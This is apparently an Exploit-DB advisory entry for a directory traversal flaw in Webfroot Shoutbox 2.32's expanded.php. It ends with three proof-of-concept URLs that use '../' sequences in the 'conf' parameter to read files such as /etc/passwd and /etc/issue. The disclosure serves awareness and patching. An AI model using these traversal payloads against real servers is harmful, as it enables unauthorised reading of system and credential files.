Webfroot Shoutbox 2.32 - 'Expanded.php' Directory Traversal

EDB-ID:

22705

CVE:

N/A




Platform:

PHP

Date:

2003-06-02


source: https://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers. 

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue